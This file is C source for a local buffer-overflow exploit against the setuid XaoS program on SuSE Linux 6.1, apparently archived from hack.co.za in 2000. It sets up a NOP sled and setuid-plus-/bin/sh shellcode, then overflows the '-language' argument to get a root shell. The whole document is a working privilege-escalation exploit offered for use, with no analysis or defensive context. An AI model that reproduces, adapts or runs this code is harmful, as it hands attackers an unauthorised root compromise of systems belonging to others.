// PRIVATE!!
//
// suid XaoS local overflow exploit - root comprimise.
// _works_ on suse 6.1, is in the suid list for 6.2:>.
//
// Discovered by DiGiT & p0rtal.
//
// author: DiGiT - teddi@linux.is
// Greets: #hax, #!ADM
//
// PRIVATE!!

#include <stdio.h>
#include <string.h>

unsigned long get_sp(void)
{
  __asm__("movl %esp,%eax");
}

char shellcode[] =
  // wacho set(e)uid() + generic shell.
  "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void
main (int argc, char *argv[])
{
  char *buf;

  int bsize=4100;
  int offset = 0;
  int len = 3914;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);
  if (argc > 3) len = atoi(argv[3]);

  buf = malloc(bsize);
  memset (buf, '\x90', bsize);

  for (i = len; i < bsize - 4; i += 4)
    *(long *) &buf[i] = get_sp() - offset;

  memcpy (buf + (len - strlen (shellcode)), shellcode, strlen (shellcode));
  buf[bsize - 1] = '\0';
  printf("ret-addr = 0x%x\n", get_sp() - offset);
  printf("May you have many children and live a long life.\n");
  execl("/usr/bin/xaos", "xaos", "-language", buf, NULL);
}
/*                    www.hack.co.za           [8 June 2000]*/